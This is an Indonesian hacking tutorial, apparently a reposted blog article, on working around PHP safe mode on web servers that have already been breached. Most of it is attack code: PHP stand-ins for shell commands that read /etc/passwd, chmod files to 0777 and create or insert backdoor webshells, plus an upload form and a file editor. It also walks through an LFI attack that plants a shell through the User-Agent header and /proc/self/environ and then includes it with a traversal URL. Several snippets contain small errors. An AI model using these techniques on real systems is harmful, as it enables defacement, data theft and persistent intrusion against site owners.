Linux : SafeMode Bypass


Safemode Bypass (Proof Of Concept)
Dalam artikel ini, saya tidak membahas bagaimana merubah safemode ON menjadi OFF. tetapi melakukan aksi melalui safemode ON.

Yang sering maen shell pasti tau tentang safemode. Ada yang off ada yang on. Kalau Safemode OFF, lancarlah kita beraksi. Command2 bisa di jalankan dengan lancar dan nyaman.
dan kalu Safemode ON, maka menciutlah nyali, berkuranglah semangat, dan greget2, karena command2 gak bisa di jalankan. safemode on gak mengijinkan command2 shell exec di jalankan. Tools Exploit banyak yang memanfaatkan shell exec. Sehingga jika shell exec gak bisa di jalankan (dalam kasus ini karena safemode on), maka exploit gagal, tidak bisa upload shell, apalagi deface. Sehingga hal ini (safemode on) mempersulit attacker dalam beraksi.
Nah, baca kembali paragraf di atas. saya mengatakan “mempersulit”, bukan mengatakan mencegah apalagi menghentikan.Safemode on bukan berarti attacker tidak bisa bergerak. itu anggapan salah. Karena meskipun safemode on, attacker tetep bisa beraksi. Upload webshell, mencuri account, defacing, dll. Istilah keren-nya yg sering saya dengar di dunia maya, hal ini di sebut “Safemode Bypass”. Yap, membypass safemode on untuk tetap dapat beraksi. Seperti upload phpshell, editing content, dll.
Dalam artikel ini saya akan memberikan beberapa gambaran bagaimana melakukan apa yg kita inginkan dengan kondisi server safemode on. Bahasa yg saya gunakan adalah PHP. Anda bisa membuatnya dalam bahasa lain sesuai kreasi anda. Saya hanya akan memberikan gambaran proff of concept aja. Langsung aja bro
Safemode ON memang mendisable shell exec secara otomatis. sehingga kita tidak bisa menggunakan fungsi2 shell exec seperti system(), exec(), passthru(), dan kawan-kawanya. Memang penggunaan fungsi shell exec sangat enak dan mudah karena bisa langsung menjalankan command2 shell. Namun jika hal ini tidak bisa di lakukan, maka kita harus berfikir lebih untuk dapat terus beraksi. Coding adalah jawabanya.

Dalam sekenario, tentu saja kita harus mendapatkan akses dulu ke sistem korban. ntah itu rfi, lfi, dll. yg penting udah masuk. wlo pun gak bisa ngapa2in karena shell exec nya tewas.do not worry, tetep bisa beraksi.

Berikut adalah beberapa command yang sering kita pake dalam exekusi web server.

# Shell Information [ uname -a ]

$uname = php_uname();

# Current active user [ id ]

$id  = posix_geteuid();
$gid = posix_geteuid();

# get current directory [ pwd ]

$dir = getcwd();
//cara ke2
$dir = dirname(__FILE__);

# File owner and group

$dir = getcwd();
$file = "index.php"; // contoh file index.php
$owner = posix_getpwuid(fileowner($dir.'/'.$file));
$group = posix_getgrgid(filegroup($dir.'/'.$file));

# Change direktori [ cd dir ]
Berpindah dari direktori ke direktori

chdir("/tmp"); // ex: masok dir /tmp

# File list [ ls -la ]
buka direktori aktif, ambil list2 file nya beserta permission nya.

$pwd = getcwd();
$opendir = opendir($pwd);
while (($file = readdir($opendir)) !== false) {
    //$file adalah nama file ato direktori yg ada pada $pwd
    //get file permission
    $path = $pwd.'/'.$file;
    $perm_numeric = substr(sprintf('%o', fileperms($path)), -4);
    //full display perm file
    $perms = fileperms($path);
    if (($perms & 0xC000) == 0xC000) {
        $info = 's';
    } elseif (($perms & 0xA000) == 0xA000) {
        $info = 'l';
    } elseif (($perms & 0x8000) == 0x8000) {
        $info = '-';
    } elseif (($perms & 0x6000) == 0x6000) {
        $info = 'b';
    } elseif (($perms & 0x4000) == 0x4000) {
        $info = 'd';
    } elseif (($perms & 0x2000) == 0x2000) {
        $info = 'c';
    } elseif (($perms & 0x1000) == 0x1000) {
        $info = 'p';
    } else {
        $info = 'u';
    }

    // Owner
    $info .= (($perms & 0x0100) ? 'r' : '-');
    $info .= (($perms & 0x0080) ? 'w' : '-');
    $info .= (($perms & 0x0040) ?
    (($perms & 0x0800) ? 's' : 'x' ) :
    (($perms & 0x0800) ? 'S' : '-'));

    // Group
    $info .= (($perms & 0x0020) ? 'r' : '-');
    $info .= (($perms & 0x0010) ? 'w' : '-');
    $info .= (($perms & 0x0008) ?
    (($perms & 0x0400) ? 's' : 'x' ) :
    (($perms & 0x0400) ? 'S' : '-'));

    // World
    $info .= (($perms & 0x0004) ? 'r' : '-');
    $info .= (($perms & 0x0002) ? 'w' : '-');
    $info .= (($perms & 0x0001) ?
    (($perms & 0x0200) ? 't' : 'x' ) :
    (($perms & 0x0200) ? 'T' : '-'));

    # writeable or not
    $curr_id  = posix_geteuid();
    $curr_gid = posix_geteuid();
    $file_owner = posix_getpwuid(fileowner($path));
    $file_group = posix_getgrgid(filegroup($path));
    if($curr_id == $file_owner){ $writeable = 1; }
    elseif( ($curr_gid == $file_group) && ($perms & 0x0010)) { $writealble = 1; }
    elseif($perms & 0x0002) { $writeable = 1; }

    # tampilkan 
    print $file."\t\t".$file_owner."/".$file_group."\t\t".$perm_numeric."\t\t".$perms."\t\t".(($writeable)?"Writeable":"-")."\r\n";

}
closedir($opendir);

# Change file permission [ chmod ]

//chmod +rwx file
chmod("index.php","0777");

//chmod + rwx isi direktori
$dir = "/home/user/emboh/"
while (($file = readdir($dir)) !== false) {
    chmod($file,"0777");
}

# copy file [ cp /path/old/file.txt /path/new/file.txt ]

$oldfile = "/path/old/file.txt";
$newfile = "/path/new/file.txt";
copy($oldfile,$newfile);

# read file [ cat /path/file.txt ]

$file = "/etc/passwd";
$read = fopen($file,"r");
$fread = fread($read,filesize($read));
fclose($read);
print $fread;

# membuat file
teknik membuat file tepat untuk mengupload backdoor (webshell)

$isifile = "testing"; // isi script backdoor disini klo mau bikin backdoor
$create = fopen("backdoor.php","w");
fwrite($create,$isifile);
fclose($create);
chmod("backdoor.php","0755");

perhatikan parameter “w” pada fopen. w artinya write. dimana file akan fullwrite, jika file exists maka file akan di overwrite.
jika kita ingin menambahkan $isifile ke dalam file yang udah ada (misal menyisipkan backdoor ke file yg dah ada), maka parameter yg tepat adalah “a”.

# rename file [ mv /path/old/file.txt /path/new/file.txt ]

$oldfile = "/path/old/file.txt";
$newfile = "/path/new/file.txt";
rename($oldfile,$newfile);

#del file [ rm -f /path/to/file.txt ]

$file = "/path/to/file.txt";
unlink($file);

# file upload

//kotak upload
echo "
File: Ke Direktori:
//proses upload if($_FILES['File']['name']){ if(@move_uploaded_file($_FILES['File']['tmp_name'],$_POST['Dir']."/".$_FILES['File']['name'])){ echo "File terupload "; } else { echo "Gagal upload"; } }

# file editor

if($_POST['Save']){
    $isifile = $_POST['isifile'];
    $file = $_POST['file'];
    $save = fopen($file,"w");
    if(@fwrite($save,$isifile)){ $saved = 1; }
    fclose($save);    
}
if($_POST['edit']){
    $open = fopen($_POST['file'],"r");
    $isifile = fread($open,filesize($open));
    fclose($open);
}
echo "
File: ".(($saved)?"Saved!":"")." ";

Dari beberapa contoh di atas, kita ketahui bahwa semuanya menggunakan fungsi2 dari program secara langsung. Fungsi2 tersebut jelas bukan shell exec. Namun sudah cukup bagi kita untuk menyerang. Misal defacing, mencuri database, dll.

Kesimpulanya,sebuah bahasa pemrogramman sudah mempunyai fungsi2 komplit yang bisa kita gunakan untuk melewati safemode on. Sehingga penggunaan programming sangat di perlukan disini. Karena keperluan kita tidak pernah sama, sehingga program / code yang kita perlukan juga tidak akan sama.

Dari sedikit contoh di atas, saya harap kita mengerti bagaimana cara membypass safemode, yaitu dengan mengganti command shell kita dengan penggunaan fungsi2 yang sudah ada pada bahasa pemrogramman maupun fungsi2 yang harus kita tulis sendiri untuk keperluan kita.

### Contoh lain penggunaan methode safemode bypass ###

# Upload shell melalui LFI (safemode ON)
Cara paling umum untuk upload shell melalui lfi adalah dengan menyisipkan command download (wget,lwp-download,dkk) pada user agent.
Bila safemode on, maka command tersebut jelas gagal 100%. Yang gagal adalah command nya, namun kita tidak gagal mengupload shell. Dengan metode safemode bypass.
kemudian saya menyisipkan script tersebut ke user agent. lalu mengakses /proc/self/environ pada target LFI.
Script tersebut jelas sekali klo membuat file di /tmp dengan nama xcrew. Setelah mengakses environ, maka saya telah berhasil mengupload backdoor saya di /tmp dengan nama file xcrew. dan kemudian saya akan menginclude file tersebut dengan teknik LFI seperti berikut:

http://target.lfi/index.php?bug=../../../../../../../../../../../../../../../../tmp/xcrew%00

Maka saya mendapatkan backdoor/webshell saya dengan cara seperti itu. Untuk selanjutnya tinggal memanfaatkan webshell tersebut.

Sebuah bahasa pemrogramman sudah mempunyai fungsi2 yg siap kita manfaatkan untuk keperluan2 kita, sudah selayaknya kita manfaatkan hal ini dengan tepat.
Satu jalan tertutup, cari jalan yang lain. Dalam hacking, selalu berfikir kreatif adalah kuncinya. Karena jalan selalu ada jika kita mencarinya. Hacking is Art. Ribuan jalan untuk dapat mencapai tujuan, bahkan dengan menggali lewat dalam tanah pun adalah sebuah jalan.

EoF
Thanks and Great:
ByroeNet Evilc0de MainHack Antisecurity Jatimcrew MCC Kill-9 IDC Arumbia XCode MedanHacker TeconCrew KebumenCyber MakassarCyber TheTarget Devilzc0de etc

./ArRay a.k.a XterM
XCrew UnderGround Coder Team !

Sumber

Fahmi

We’re still Pioneers, We Barely Begun. Our Greatest Accomplishments cannot be behind us, cause our destiny lies above us.

Leave a Reply